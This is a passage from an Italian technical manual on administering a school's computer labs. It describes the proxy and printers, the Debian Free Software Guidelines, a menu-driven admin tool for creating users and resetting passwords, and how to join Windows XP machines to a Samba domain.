Sono disponibili due stampanti, collegate rispettivamente all'elaboratore 172.17.1.254 e 172.17.1.253. La stampa presso tutti gli elaboratori avviene in modo predefinito utilizzando la stampante collegata all'elaboratore 172.17.1.254; mentre la stampante ausiliaria viene utilizzata solo durante l'uso dell'elaboratore 172.17.1.253. In caso di avaria della stampante principale, la stampante ausiliaria viene collegata all'elaboratore 172.17.1.254.

56.4.6 Accesso a Internet

L'accesso a Internet avviene attraverso l'elaboratore con indirizzo 172.17.1.254, il quale svolge il compito di router e di proxy trasparente. La funzionalità di proxy include anche un filtro sommario di siti e di URI.

La censura di una pagina si manifesta attraverso una schermata simile a quella della figura successiva.

Figura 56.28. Messaggio di avvertimento della censura di un indirizzo o di una pagina, generato dal servizio proxy.

56.4.7 Licenze

Salvo indicazione diversa, nel laboratorio viene usato software libero che risponde alle linee guida DFSG (*Debian free software guidelines*), citate nella sezione 56.4.7.1 (il testo originale si trova presso ⟨http://www.debian.org/social_contract⟩); oltre al software è disponibile anche documentazione che, pur non essendo modificabile, può essere riprodotta senza oneri.

56.4.7.1 The Debian Free Software Guidelines (DFSG)[2]

1. **Free Redistribution**

   The license of a Debian component may not restrict any party from selling or giving away the software as a component of an aggregate software distribution containing programs from several different sources. The license may not require a royalty or other fee for such sale.

2. **Source Code**

   The program must include source code, and must allow distribution in source code as well as compiled form.

3. **Derived Works**

   The license must allow modifications and derived works, and must allow them to be distributed under the same terms as the license of the original software.

4. **Integrity of The Author's Source Code**

   The license may restrict source-code from being distributed in modified form **_only_** if the license allows the distribution of "patch files" with the source code for the purpose of modifying the program at build time. The license must explicitly permit distribution of software built from modified source code. The license may require derived works to carry a different name or version number from the original software. (*This is a compromise. The Debian group encourages all authors not to restrict any files, source or binary, from being modified.*)

5. **No Discrimination Against Persons or Groups**

   The license must not discriminate against any person or group of persons.

6. **No Discrimination Against Fields of Endeavor**

   The license must not restrict anyone from making use of the program in a specific field of endeavor. For example, it may not restrict the program from being used in a business, or from being used for genetic research.

7. **Distribution of License**

   The rights attached to the program must apply to all to whom the program is redistributed without the need for execution of an additional license by those parties.

8. **License Must Not Be Specific to Debian**

   The rights attached to the program must not depend on the program's being part of a Debian system. If the program is extracted from Debian and used or distributed without Debian but otherwise within the terms of the program's license, all parties to whom the program is redistributed should have the same rights as those that are granted in conjunction with the Debian system.

9. **License Must Not Contaminate Other Software**

   The license must not place restrictions on other software that is distributed along with the licensed software. For example, the license must not insist that all other programs distributed on the same medium must be free software.

10. **Example Licenses**

    The "**GPL**", "**BSD**", and "**Artistic**" licenses are examples of licenses that we consider "*free*".

Figura 56.29. Piantina del laboratorio per le annotazioni riferite alle varie postazioni.

172.17.1.1 172.17.1.2 172.17.1.29 172.17.1.30 172.17.1.31 172.17.1.32

172.17.1.3 172.17.1.4

172.17.1.7 172.17.1.8 172.17.1.9 172.17.1.10

172.17.1.5 172.17.1.6

172.17.1.13 172.17.1.14 172.17.1.15 172.17.1.16

172.17.1.11 172.17.1.12

172.17.1.19 172.17.1.20 172.17.1.21 172.17.1.22

172.17.1.17 172.17.1.18

172.17.1.25 172.17.1.26 172.17.1.27 172.17.1.28

172.17.1.23 172.17.1.24

172.17.1.253 172.17.1.254

Figura 56.30. Scheda per le annotazioni riferite all'uso del laboratorio.

<table>
<tr><td colspan="3">laboratorio</td></tr>
<tr><td>data</td><td>ora/orario</td><td>classe/corso</td></tr>
<tr><td colspan="3">annotazioni; si prega di avvisare il responsabile in ogni caso</td></tr>
</table>

Figura 56.31. Mappa per l'uso della tastiera. Si può stampare una mappa di questa tastiera a partire da ⟨*allegati/mappa-della-tastiera-italiana.ps*⟩.

56.5 Organizzazione dei laboratori MS-Windows

Gli insegnanti che hanno ottenuto la facoltà di intervenire in questo modo, hanno un'utenza amministrativa (corrispondente solitamente al solo cognome), con la quale possono connettersi all'elaboratore 172.17.1.254, ovvero 192.168.0.71, attraverso il programma PuTTY, usando preferibilmente il protocollo SSH (cifrato), come si vede nella figura:

L'amministratore deve quindi introdurre il proprio nominativo-utente e la parola d'ordine, quindi ottiene il menù di funzioni che gli sono state concesse:

```
.--------------------Admin menu-----------------------.
| Remote admin limited menu                           |
| .-------------------------------------------------. |
| |   adduser       Add a new user                  | |
| |   passwd        Change a user's password        | |
| |   description   Change a user's description     | |
| |   user info     Show user info                  | |
| |   home info     Show home directory info        | |
| |   quota report  Show sorted user's quota        | |
| |   nis-make      Rebuild NIS database            | |
| |   add machine   Add a new MS-Windows computer   | |
| |   proxy access  HTTP proxy access permissions   | |
| |   admin passwd  Change your password            | |
| |   custom1       Custom script 1                 | |
| |   custom2       Custom script 2                 | |
| |   custom3       Custom script 3                 | |
| |   exit          Quit                            | |
| `-------------------------------------------------' |
|                                                     |
|                                                     |
|-----------------------------------------------------|
|            <  OK  >       <Cancel>                  |
`-----------------------------------------------------'
```

Attraverso questo menù è possibile, in particolare, aggiungere un'utenza, cambiare la parola d'ordine di un utente che ne fa richiesta e verificare la configurazione delle utenze.

Tabella 56.34. Descrizione delle funzioni disponibili agli amministratori.

Funzione	Descrizione
`adduser`	Consente di aggiungere un'utenza al sistema.
`passwd`	Consente di modificare una parola d'ordine.
`description`	Consente di modificare la descrizione estesa di un'utenza.
`user info` `home info`	Consente di avere informazioni su un'utenza.
`quota report`	Mostra l'elenco delle quote degli utenti, ordinata in modo decrescente per quantità di spazio utilizzato.
`nis-make`	Ricostruisce la base di dati NIS a partire dalle informazioni aggiornate delle utenze.
`add machine`	Aggiunge un'utenza speciale, corrispondente a un elaboratore MS-Windows, per consentirgli l'accesso con Samba.
`proxy access`	Permette di controllare l'accesso alla rete esterna tramite il protocollo HTTP, con la configurazione del servizio proxy.
`admin passwd`	Consente all'amministratore di cambiare la propria parola d'ordine necessaria per accedere.
`custom1`	Ricostruisce i collegamenti tra studenti e insegnanti, per lo scambio di verifiche e di strumenti didattici.
`custom2` `custom3`	Consente di controllare l'accesso alle unità di memorizzazione esterne.

Funzione	Descrizione
`custom3` `custom3`	Consente di controllare l'accesso a risorse esterne, tramite il proxy HTTP, nel proprio laboratorio o in altri, se configurati in modo appropriato.
`exit`	Esce dal menù.

56.5.1 Procedura per l'aggiunta di un utente

Dal momento che si prevede la presenza simultanea di un gran numero di utenze, si richiede a chi interviene per aggiungerne di nuove di farlo con un certo ordine.

Per prima cosa **si conviene che il nominativo scelto dall'utente cominci con il cognome** e continui, possibilmente, con il nome (per esempio «rossimario»), tenendo conto che si possono usare al massimo 15 caratteri alfabetici e numerici (lettere dalla «a» alla «z», minuscole, cifre da zero a nove).

Una volta inserito il nominativo, è necessario stabilire una sigla che viene usata per classificare l'utenza. Nel caso degli studenti che usano comunemente il laboratorio, va usata la sigla della classe (compresa la sezione e una lettera per distinguere il corso di studi) seguita dall'anno scolastico. La tabella seguente riepiloga alcuni esempi.

Tabella 56.35. Esempi di sigle da usare per raggruppare le utenze secondo il contesto per il quale vengono create.

Esempio	Contesto
`5A1011`	Utenze annuali, riferite agli alunni di 5A, create nell'anno scolastico 2010/2011, dove non è necessario specificare il corso di studi.
`4AS1011`	Utenze annuali, riferite agli alunni di 4A, corso «S», create nell'anno scolastico 2010/2011.
`DOCENTI0`	Utenze riferite ai docenti, da conservare attraverso gli anni scolastici.
`ITP00000`	Utenze riferite agli insegnanti tecnico-pratici, da conservare attraverso gli anni scolastici.
`TECNICI0`	Utenze riferita ai tecnici, da conservare attraverso gli anni scolastici.
`COLLSCOL`	Utenze riferite ai tecnici, da conservare attraverso gli anni scolastici.
`SEGRETER`	Utenze riferite al personale di segreteria, da conservare attraverso gli anni scolastici.
`DSGA0000`	Utenza riferita al direttore dei servizi generali e amministrativi, da conservare attraverso gli anni scolastici.
`DIRIGENT`	Utenza riferita al dirigente scolastico, da conservare attraverso gli anni scolastici.
`ESTERNI0`	Utenti che non fanno parte dell'istituto, ma che sono ammessi ad accedere alla rete didattica per qualche motivo.

Quando viene richiesto di inserire un utente, il programma che si occupa di questo consente di aggiungere dei dati ulteriori all'interno di un campo aggiuntivo. Ciò va usato per indicare i dati significativi dell'utenza, in base al contesto di utilizzo. Seguono due esempi; il primo

riferito all'utente Mario Rossi che è uno studente di 5A «igea», il secondo riferito al professor Sempronio Dicembrino che è docente di economia aziendale:

```
.-----------------------------Add a new user--------------------------------.
| [en] Please insert the new user name (only lower case letters and numbers, |
| minimum 8 and max 15 characters, the first character must be a letter).    |
|                                                                            |
| [it] Inserire il nominativo utente, composto preferibilmente da cognome e  |
| nome attaccati, ed eventualmente l'anno di nascita, per esempio            |
| "rossimario1990" (si possono usare solo lettere minuscole e cifre          |
| numeriche per un minimo di 8 e fino a un massimo di 15 caratteri, ma il    |
| primo carattere deve essere una lettera).                                  |
| |........9012345|                                                          |
| .----------------------------------------------------------------------. |
| |                                                                      | |
| '----------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                          |
'----------------------------------------------------------------------------'
```

rossimario OK

```
.--------------------Classify user-----------------------.
| [en] Please select a hierarchy name for the user: it   |
| will be used as an intermediate directory after        |
| "/home/".                                              |
|                                                        |
| [it] Inserire la classificazione dell'utente: viene    |
| usata come directory intermedia dopo "/home/".         |
| .----------------------------------------------------. |
| |             1AI1011   /home/1AI1011                | |
| |             1AM1011   /home/1AM1011                | |
| |             1AS1011   /home/1AS1011                | |
| |             1BI1011   /home/1BI1011                | |
| |             1BM1011   /home/1BM1011                | |
| |             1BS1011   /home/1BS1011                | |
| |             1CI1011   /home/1CI1011                | |
| |             1CM1011   /home/1CM1011                | |
| |             1DI1011   /home/1DI1011                | |
| |             DOCENTI0  /home/DOCENTI0/              | |
| |             --------  ----------------------       | |
| |             new       add a new one                | |
| '--------------v(+)----------------------------------' |
|                                                        |
|                                                        |
|--------------------------------------------------------|
|              <  OK  >        <Cancel>                  |
'--------------------------------------------------------'
```

Non essendo già stata prevista la classificazione '**5AI1011**', si seleziona la voce '**new**' per passare all'inserimento manuale:

```
.------------------------------Classify user---------------------------------.
| [en] Please insert a hierarchy name for the user: it will be used as an    |
| intermediate directory after "/home/".                                     |
| Please insert only upper case letters and digits (A-Z, 0-9; min 4, max 8   |
| characters).                                                               |
|                                                                            |
| [it] Inserire la classificazione dell'utente: viene usata come directory   |
| intermedia dopo "/home/".                                                  |
| Inserire solo lettere maiuscole e cifre numeriche (A-Z, 0-9; min 4, max 8  |
| caratteri).                                                                |
| |....5678|                                                                 |
| .------------------------------------------------------------------------. |
| |2010                                                                    | |
| '------------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

Viene cancellato il valore predefinito e viene assegnata la sigla '**5AI1011**':

[*Canc*][*Canc*][*Canc*][*Canc*]

5AI1011 OK

```
.--------------------Full user name-----------------------.
| [en] Please insert the user full name and maybe some    |
| more data to identify it.                               |
|                                                         |
| [it] Inserire la descrizione dettagliata dell'utente,   |
| per poterlo identificare con precisione.                |
| .-----------------------------------------------------. |
| |                                                     | |
| '-----------------------------------------------------' |
|---------------------------------------------------------|
|               <  OK  >        <Cancel>                  |
'---------------------------------------------------------'
```

Vengono richiesti alcuni dati addizionali, che è bene compilare per poter individuare correttamente l'utente:

studente Rossi Mario 5A igea 2010/2011 [*Invio*]

```
Adding user `rossimario'...
Adding new group `rossimario' (1000).
Adding new user `rossimario' (1000) with group `rossimario'.
Creating home directory `/home/5AI1011/rossimario'.
Copying files from `/etc/skel'
```

Al termine viene richiesto di inserire per due volte la parola d'ordine, cosa che deve essere fatta direttamente dalla persona per la quale si crea l'utenza.

```
.---------------------------New password-----------------------------.
| [en] Please insert the new password for user "rossimario" with     |
| home directory "/home/5A1011/rossimario". Please insert at least 8 |
| characters.                                                        |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente "rossimario"   |
| che dispone della directory personale "/home/5A1011/rossimario".   |
| Si prega di inserire almeno 8 caratteri.                           |
|  <-MIN-->                                                          |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                  <  OK  >          <Cancel>                        |
'--------------------------------------------------------------------'
```

L'inserimento corrisponde alla visualizzazione di una serie di asterischi.

```
.-----------------------New password-------------------------.
| [en] Please insert again the new password for user         |
| "rossimario" with home directory "/home/5A1011/rossimario".|
|                                                            |
| [it] Inserire nuovamente la parola d'ordine per l'utente   |
| "rossimario" che dispone della directory personale         |
| "/home/5A1011/rossimario".                                 |
|  <-MIN->                                                   |
| .--------------------------------------------------------. |
| |************                                            | |
| '--------------------------------------------------------' |
|------------------------------------------------------------|
|                <  OK  >         <Cancel>                   |
'------------------------------------------------------------'
```

Dopo l'inserimento, per due volte, della parola d'ordine, se tutto è stato fatto senza errori, soprattutto se la parola d'ordine è stata inserita correttamente, l'operazione è completa e si può procedere con l'utente successivo:

```
.-----------------------------Add a new user-------------------------------.
| [en] Please insert the new user name (only lower case letters and numbers, |
| minimum 8 and max 15 characters, the first character must be a letter).    |
|                                                                          |
| [it] Inserire il nominativo utente, composto preferibilmente da cognome e  |
| nome attaccati, ed eventualmente l'anno di nascita, per esempio           |
| "rossimario1990" (si possono usare solo lettere minuscole e cifre         |
| numeriche per un minimo di 8 e fino a un massimo di 15 caratteri, ma il   |
| primo carattere deve essere una lettera).                                 |
| |........9012345|                                                         |
| .----------------------------------------------------------------------. |
| |                                                                      | |
| '----------------------------------------------------------------------' |
|                                                                          |
|--------------------------------------------------------------------------|
|                     <  OK  >           <Cancel>                          |
'--------------------------------------------------------------------------'
```

Passando all'inserimento dell'utente «Sempronio Dicembrino», la somma di cognome e nome sarebbe troppo lunga, pertanto si concorda con l'utente di usare il nominativo '**dicembrinosempr**':

dicembrinosempr [OK]

```
.--------------------Classify user-----------------------.
| [en] Please select a hierarchy name for the user: it   |
| will be used as an intermediate directory after        |
| "/home/".                                              |
|                                                        |
| [it] Inserire la classificazione dell'utente: viene    |
| usata come directory intermedia dopo "/home/".         |
| .----------------------------------------------------. |
| |              1AI1011   /home/1AI1011               | |
| |              1AM1011   /home/1AM1011               | |
| |              1AS1011   /home/1AS1011               | |
| |              1BI1011   /home/1BI1011               | |
| |              1BM1011   /home/1BM1011               | |
| |              1BS1011   /home/1BS1011               | |
| |              1CI1011   /home/1CI1011               | |
| |              1CM1011   /home/1CM1011               | |
| |              1DI1011   /home/1DI1011               | |
| |              DOCENTI0  /home/DOCENTI0/             | |
| |              --------  ----------------------      | |
| |              new       add a new one               | |
| '--------------v(+)----------------------------------' |
|                                                        |
|                                                        |
|--------------------------------------------------------|
|               <  OK  >        <Cancel>                 |
'--------------------------------------------------------'
```

E essendo già stata prevista la classificazione '**`DOCENTI0`**' la si seleziona e si procede. Si passa così alla richiesta della descrizione completa del docente:

```
.--------------------Full user name-----------------------.
| [en] Please insert the user full name and maybe some    |
| more data to identify it.                               |
|                                                         |
| [it] Inserire la descrizione dettagliata dell'utente,   |
| per poterlo identificare con precisione.                |
| .-----------------------------------------------------. |
| |                                                     | |
| '-----------------------------------------------------' |
|---------------------------------------------------------|
|               <  OK  >        <Cancel>                  |
'---------------------------------------------------------'
```

`prof. Dicembrino Sempronio economia aziendale 2010/2011` [*Invio*]

```
Adding user dicembrinosempr...
Adding new group dicembrinosempr (1004).
Adding new user dicembrinosempr (1004) with group dicembrinosempr.
Creating home directory /home/DOCENTI0/dicembrinosempr.
Copying files from /etc/skel
```

```
.---------------------------New password-----------------------------.
| [en] Please insert the new password for user "dicembrinosempr"     |
| with home directory "/home/DOCENTI0/dicembrinosempr". Please       |
| insert at least 8 characters.                                      |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente                |
|  "dicembrinosempr" che dispone della directory personale           |
|  "/home/DOCENTI0/dicembrinosempr". Si prega di inserire almeno 8   |
|  caratteri.                                                        |
|  <-MIN-->                                                          |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                   <  OK  >          <Cancel>                       |
'--------------------------------------------------------------------'
```

```
.-----------------------New password-------------------------.
| [en] Please insert again the new password for user         |
| "dicembrinosempr" with home directory                      |
| "/home/DOCENTI0/dicembrinosempr".                          |
|                                                            |
| [it] Inserire nuovamente la parola d'ordine per l'utente   |
| "dicembrinosempr" che dispone della directory personale    |
| "/home/DOCENTI0/dicembrinosempr".                          |
|  <-MIN-->                                                  |
| .--------------------------------------------------------. |
| |************                                            | |
| '--------------------------------------------------------' |
|------------------------------------------------------------|
|                 <  OK  >          <Cancel>                 |
'------------------------------------------------------------'
```

Al termine, dopo la conferma dell'inserimento della parola d'ordine, non dovendo inserire altri utenti, basta concludere selezionando il pulsante grafico CANCEL.

Quando si tenta di inserire un nominativo utente molto lungo, è probabile che l'operazione si concluda ugualmente con successo, ma ciò avviene perché il programma riduce automaticamente il nome ai primi 15 caratteri. Pertanto, se si inserisce il nominativo «dicembrinosempronio» si ottiene in pratica l'utente «dicembrinosempr». Di questo occorre tenerne conto, perché poi gli utenti chiedono aiuto quando non riescono ad accedere al sistema; in tal caso basta dire loro di riprovare con i soli primi 15 caratteri del nominativo presunto.

56.5.2 Procedura per la modifica di una parola d'ordine

Gli studenti sono spesso smemorati ed è facile che dimentichino la parola d'ordine necessaria per accedere ai propri dati. Per questo, gli insegnanti che hanno facoltà amministrative, devono poter consentire agli studenti di modificare la loro parola d'ordine, facendo però attenzione che si tratti effettivamente dell'utente corretto.

Mentre l'aggiunta delle utenze può anche essere affidata agli studenti, in modo che ognuno aggiunga la propria, la modifica della parola d'ordine deve essere sempre guidata dall'amministratore, il quale deve controllare che si tratti effettivamente di un nominativo associato alla classe a cui dovrebbe appartenere. Infatti, potrebbe succedere che lo studente dimentichi il proprio nominativo utente corretto (e non la parola d'ordine), quando nella scuola ci possono essere delle omonimie che hanno richiesto di usare delle piccole varianti nei nominativi rispetto alla regola generale del cognome+nome.

La prima maschera che viene proposta all'amministratore, richiede l'inserimento del nominativo-utente, per il quale va cambiata la parola d'ordine:

```
.---------------Change password------------------.
| [en] Please insert the user name who have to   |
| change the password.                           |
|                                                |
| [it] Inserire il nominativo utente per il      |
| quale si deve cambiare la parola d'ordine.     |
| .--------------------------------------------. |
| |                                            | |
| '--------------------------------------------' |
|------------------------------------------------|
|           <  OK  >      <Cancel>               |
'------------------------------------------------'
```

rossimario OK

A questo punto viene chiesto di digitare subito la nuova parola d'ordine, ma, come si vede dall'esempio, si può verificare il percorso della directory personale dell'utente relativo, dove è indicata la classe a cui questo appartiene. Ciò dovrebbe consentire di fare confusione tra nominativi-utente di studenti omonimi, appartenenti a classi differenti.

```
.---------------------------New password-----------------------------.
| [en] Please insert the new password for user "rossimario" with     |
| home directory "/home/5A1011/rossimario". Please insert at least 8 |
| characters.                                                        |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente "rossimario"   |
| che dispone della directory personale "/home/5A1011/rossimario".   |
| Si prega di inserire almeno 8 caratteri.                           |
|  <-MIN-->                                                          |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                   <  OK  >          <Cancel>                       |
'--------------------------------------------------------------------'
```

Logicamente, la digitazione della parola d'ordine è compito dell'utente che deve cambiarla.

digitazione_all'oscuro OK

```
.----------------------New password-------------------------.
| [en] Please insert again the new password for user        |
| "rossimario" with home directory "/home/5A1011/rossimario".|
|                                                           |
| [it] Inserire nuovamente la parola d'ordine per l'utente  |
| "rossimario" che dispone della directory personale        |
| "/home/5A1011/rossimario".                                |
|  <-MIN-->                                                 |
| .-------------------------------------------------------. |
| |************                                           | |
| '-------------------------------------------------------' |
|-----------------------------------------------------------|
|                 <  OK  >         <Cancel>                 |
'-----------------------------------------------------------'
```

digitazione_all'oscuro OK

56.5.3 Controllo dell'accesso all'esterno

Per poter controllare l'accesso da parte degli studenti alla rete esterna (Internet), è necessario che venga utilizzato come *gateway* l'indirizzo 172.17.1.254.

La configurazione del servizio proxy è tale da escludere l'accesso a siti che contengono nel loro indirizzo URI alcune parole chiave ritenute imbarazzanti; inoltre, dovrebbe impedire lo scarico di file audio-visuali.

Attraverso la funzione '**proxy access**' del menù amministrativo, è possibile controllare l'accessibilità all'esterno da parte delle postazioni. In altri termini, con la funzione '**proxy access**' è possibile abilitare o disabilitare l'accesso a Internet dai laboratori, per le postazioni configurate in modo da avvalersi del router 172.17.1.254.

Figura 56.52. Le voci che hanno una «X» rappresentano gli elaboratori che possono accedere alla rete esterna.

```
.------------------proxy access--------------------.
| Please, select or deselect who can access to the |
| HTTP proxy:                                      |
| .--------------------------------------------. |
| | [ ] DENY_ALL     reset to no access allowed  | |
| | [ ] ALLOW_ALL    reset to all access allowed | |
| | [*] 172.17.4.26  allow_172.17.4.26           | |
| | [*] 172.17.4.27  allow_172.17.4.27           | |
| | [*] 172.17.4.28  allow_172.17.4.28           | |
| | [*] 172.17.4.30  allow_172.17.4.30           | |
| | [ ] 172.17.4.1   allow_172.17.4.1            | |
| | [ ] 172.17.4.2   allow_172.17.4.2            | |
| | [ ] 172.17.4.3   allow_172.17.4.3            | |
| | [ ] 172.17.4.4   allow_172.17.4.4            | |
| | [ ] 172.17.4.5   allow_172.17.4.5            | |
| | [ ] 172.17.4.6   allow_172.17.4.6            | |
| | [ ] 172.17.4.7   allow_172.17.4.7            | |
| '-----.(+)-------------------------------------' |
|                                                  |
|                                                  |
|                                                  |
|--------------------------------------------------|
|             <  OK  >       <Cancel>              |
'--------------------------------------------------'
```

56.5.4 Configurazione di MS-Windows XP Professional per utilizzare le utenze centralizzate

Per configurare MS-Windows XP in modo da poter utilizzare le utenze centralizzate, sono necessarie tre fasi, due delle quali riguardano la configurazione del sistema stesso, nel qual caso occorre agire in qualità di utente '**`Administrator`**', o equivalente. Per prima cosa occorre accedere alla funzione:

- *Pannello di controllo*
  - *Prestazioni e manutenzione*
  - *Strumenti di amministrazione*
    - *Criteri di protezione locali*
      - *Criteri locali*
      - *Opzioni di protezione*

A questo punto si ottiene un elenco di voci e vanno individuate quelle che iniziano per *Membro di dominio*: tutte queste voci vanno disattivate.

Figura 56.53. Impostazioni protezione locale: disattivazione delle voci *Membro di dominio*.

Impostazioni protezione locale

...	
Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (quando possibile)	Attivato
Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (sempre)	Attivato
Membro di dominio: aggiunta firma digitale ai dati del canale protetto (quando possibile)	Attivato
Membro di dominio: richiesta chiave di sessione avanzata (Windows 2000 o versioni successive)	Disattivato
...	

Figura 56.54. Impostazioni protezione locale: risultato della disattivazione delle voci *Membro di dominio*.

Impostazioni protezione locale

...	
Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (quando possibile)	Disattivato
Membro di dominio: aggiunta crittografia o firma digitale ai dati del canale protetto (sempre)	Disattivato
Membro di dominio: aggiunta firma digitale ai dati del canale protetto (quando possibile)	Disattivato
Membro di dominio: richiesta chiave di sessione avanzata (Windows 2000 o versioni successive)	Disattivato
...	

Successivamente è necessario associare l'elaboratore al dominio «INF». Per questo occorre abilitare l'accesso dell'elaboratore presso il servente, pertanto, dal menù di amministrazione

a cui si accede con l'ausilio di PuTTY (come già descritto per la gestione delle utenze), si utilizza la voce *add machine*:

```
.--Add a new Win machine-----.
| Please insert the new Win  |
| machine name:              |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK   >   <Cancel>     |
'----------------------------'
```

A titolo di esempio si considera che si tratti dell'elaboratore con nome «PC07x». Il nome va inserito usando solo lettere minuscole:

pc07x [OK]

```
.Full Win machine description--.
| Please insert the machine    |
| full description.            |
| .--------------------------. |
| |                          | |
| '--------------------------' |
|------------------------------|
|   <  OK   >   <Cancel>       |
'------------------------------'
```

È il caso di indicare il nome del laboratorio o della stanza in cui si trova:

Laboratorio informatica ... [OK]

Una volta aggiunto l'elaboratore all'elenco di quelli ammessi al servizio, si torna alla configurazione di MS-Windows XP, per l'associazione del dominio «INF»; anche per questo occorre agire con i privilegi dell'utente '**Administrator**'.

- *Pannello di controllo*
  - *Prestazioni e manutenzione*
  - *Sistema*
    - *Nome computer*

A questo punto compare una maschera simile a quella della figura successiva, dove occorre selezionare il pulsante grafico [CAMBIA].

Figura 56.57. Proprietà del sistema: cambiamento del nome o dell'associazione a un dominio.

Proprietà del sistema ? ×

generale | **nome computer** | hardware | avanzate

Descrizione computer

Nome completo computer: **PC07x**

Gruppo di lavoro: **INF3**

Per rinominare un computer o aggiungerlo a un dominio, scegliere Cambia.

cambia

Figura 56.58. Cambiamenti nome computer: selezione del dominio e conferma.

Cambiamenti nome computer ? ×

Nome computer:
PC07x

Nome completo computer:
PC07x

Membro di
Dominio:

Gruppo di lavoro:
INF3

annulla

Cambiamenti nome computer ? ×

Nome computer:
PC07x

Nome completo computer:
PC07x

Membro di
Dominio:
INF

Gruppo di lavoro:
INF3

ok annulla

Quando si vuole associare il dominio e confermare, occorre identificarsi in qualità di amministratore per la gestione delle utenze remote. L'utenza amministrativa in questione è la stessa usata per la connessione con PuTTY, ma con l'aggiunta del prefisso «win.».

Figura 56.59. Richiesta di identificazione per l'utente amministrativo con cui ottenere l'aggiunta del dominio.

login:	win.rossi
password:	●●●●●●●●

Al termine viene richiesto di riavviare il sistema per poter rendere operative le modifiche. Al riavvio può essere scelto se utilizzare le utenze locali preesistenti o il dominio appena collegato.

56.5.5 Configurazione per poter utilizzare anche un sistema GNU/Linux

Negli elaboratori in cui è installato MS-Windows è riavviare e ottenere un sistema GNU/Linux funzionante esclusivamente attraverso la rete.

Per ottenere questo risultato è necessario riconfigurare la sequenza di avvio degli elaboratori, in modo che appaia per prima la voce relativa all'avvio dalla rete. Di solito si tratta di abilitare la funzione di avvio dalla rete, quindi si può selezionare questa voce nella sequenza di avvio.

Avendo selezionato per primo l'avvio dalla rete, l'elaboratore presenta un menù iniziale, dove, per avviare MS-Windows non è necessario fare nulla, o al massimo si può premere semplicemente [*Invio*] per non dover attendere. Se invece si scrive il nome di una voce particolare, si ottiene l'avvio di un sistema GNU/Linux:

```
inf1            Sistema GNU/Linux per il laboratorio Informatica 1
inf2            Sistema GNU/Linux per il laboratorio Informatica 2
inf3            Sistema GNU/Linux per il laboratorio Informatica 3
inf4            Sistema GNU/Linux per il laboratorio Informatica 4
ins             Sistema GNU/Linux per la sala insegnanti
mem             Programma di controllo della memoria
```

Gli indirizzi IPv4 degli elaboratori avviati con il sistema GNU/Linux sono diversi rispetto a quando funzionano con MS-Windows. Per esempio, l'indirizzo **192.168.0.**100, usato con MS-Windows, diventa **172.17.168.**100 con GNU/Linux. In questo caso, per controllare l'accesso alla rete esterna, va usata la funzione '**`custom3`**' dal menù amministrativo.

56.5.6 Eliminazione delle utenze

Le utenze possono essere eliminate, assieme ai dati relativi, dal responsabile del servizio, mentre gli insegnanti che hanno la facoltà di aggiungere le utenze e di modificare le parole d'ordine non possono farlo.

56.6 Utilizzo dei laboratori MS-Windows

Gli studenti e gli insegnanti possono avvalersi di un sistema interno di gestione delle utenze e delle cartelle personali, sia presso i laboratori informatizzati con sistemi GNU/Linux, sia presso quelli con sistemi MS-Windows. Tale servizio, previa autenticazione elettronica, consente di lavorare indifferentemente presso qualunque postazione, ritrovando sempre i propri dati salvati in precedenza.

56.6.1 Premessa

Gli utilizzatori dei laboratori informatici basati su sistemi MS-Windows hanno la possibilità di salvare i propri dati utilizzando le cartelle personali abbinate alle utenze definite presso l'elaboratore con indirizzo IPv4 172.17.1.254, corrispondente anche all'indirizzo alternativo 192.168.0.71; inoltre, in diversi elaboratori funzionanti normalmente con un sistema MS-Windows, possono riavviare in modo da ottenere un sistema GNU/Linux (in sola lettura), con cui si accede automaticamente alle stesse cartelle personali; infine, eventualmente, tali utilizzatori possono accedere con il protocollo TELNET, attraverso il programma PuTTY, all'elaboratore 172.17.1.253, ovvero 192.168.0.81.

Il sistema di gestione delle utenze e delle cartelle personali attraverso la rete locale dell'istituto, può agevolare l'attività didattica, in quanto consente agli studenti e agli insegnanti di svolgere e ritrovare il proprio lavoro indipendentemente dal sistema operativo e dalla postazione in cui viene eseguito. Per esempio, una stessa attività didattica potrebbe essere svolta utilizzando alcune ore presso un laboratorio e altre presso un altro (purché in tutti sia disponibile il software necessario all'attività stessa), senza il problema di dover trasferire i file ogni volta; inoltre, uno stesso gruppo di studenti potrebbe svolgere certe attività con un certo insegnante e con l'uso di un sistema operativo e altre attività con un altro insegnante e con l'uso di un altro sistema. Naturalmente, tutto è perfettamente integrato con il laboratorio basato sul sistema GNU/Linux, dal momento che il servizio viene offerto precisamente da due elaboratori (*computer*) di tale laboratorio.

Va comunque osservato che ogni utente deve gestire una propria politica di copie di sicurezza, perché il servizio viene gestito con la massima cura, ma non si può mai escludere la possibilità di una perdita dei dati.

Oltre al problema della gestione dei dati attraverso la rete, vengono attuati degli accorgimenti che possono facilitare agli insegnanti il recupero delle verifiche didattiche dei propri studenti, in forma elettronica, e la pubblicazione agli stessi studenti di materiali, sempre in forma elettronica.

Alcuni insegnanti hanno la facoltà di creare le utenze ed eventualmente di cambiare la parola d'ordine agli utenti che l'hanno dimenticata. Gli insegnanti che desiderano acquisire tali privilegi, possono rivolgersi al responsabile del servizio.

56.6.2 Autenticazione

